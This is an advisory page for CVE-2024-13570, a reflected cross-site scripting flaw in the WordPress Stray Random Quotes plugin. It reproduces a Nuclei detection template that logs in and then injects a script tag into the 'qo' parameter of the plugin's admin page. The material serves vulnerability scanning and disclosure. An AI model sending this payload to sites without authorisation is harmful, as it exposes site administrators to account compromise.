WordPress Stray Random Quotes <= 1.9.9 - Cross-Site Scripting
CVE-2024-13570
Verified
Description
Stray Random Quotes WordPress plugin <= 1.9.9 contains a reflected cross-site scripting caused by a lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
Severity
Medium
CVSS Score
6.1
Exploit Probability
1%
Affected Product
stray_random_quotes
Published Date
February 6, 2026
Template Author
sourabh-sahu
CVE-2024-13570.yaml
id: CVE-2024-13570
info:
name: WordPress Stray Random Quotes <= 1.9.9 - Cross-Site Scripting
author: Sourabh-Sahu
severity: medium
description: |
Stray Random Quotes WordPress plugin <= 1.9.9 contains a reflected cross-site scripting caused by a lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
impact: |
Attackers can execute malicious scripts in the context of high-privilege users, potentially leading to account compromise or data theft.
remediation: |
Update to the latest version of the plugin where the vulnerability is fixed.
reference:
- https://wpscan.com/vulnerability/26019036-f7e4-4ef5-85d4-7d5fda18823e/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13570
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-13570
cwe-id: CWE-79
epss-score: 0.00564
epss-percentile: 0.42701
cpe: cpe:2.3:a:unalignedcode:stray_random_quotes:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: unalignedcode
product: stray_random_quotes
tags: cve,cve2024,wp,wordpress,wp-plugin,unalignedcode,stray-random-quotes,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=stray_manage&qo=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains_all(body, "></script><script>alert(document.domain)</script><script>", "stray-quotes")
- contains(content_type, "text/html")
- status_code == 200
condition: and
# digest: 4a0a00473045022017860fca2ad618b6f18f2a93532f27c9f21f6069dd5f528a12a0c0617d0e921d022100ab5bbaf6f7bcd1d6e359145e3eb34df37cd49938fc2ce84a59f384747352e447:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-13570
CWE ID:
cwe-79
Remediation Steps
Update to the latest version of the plugin where the vulnerability is fixed.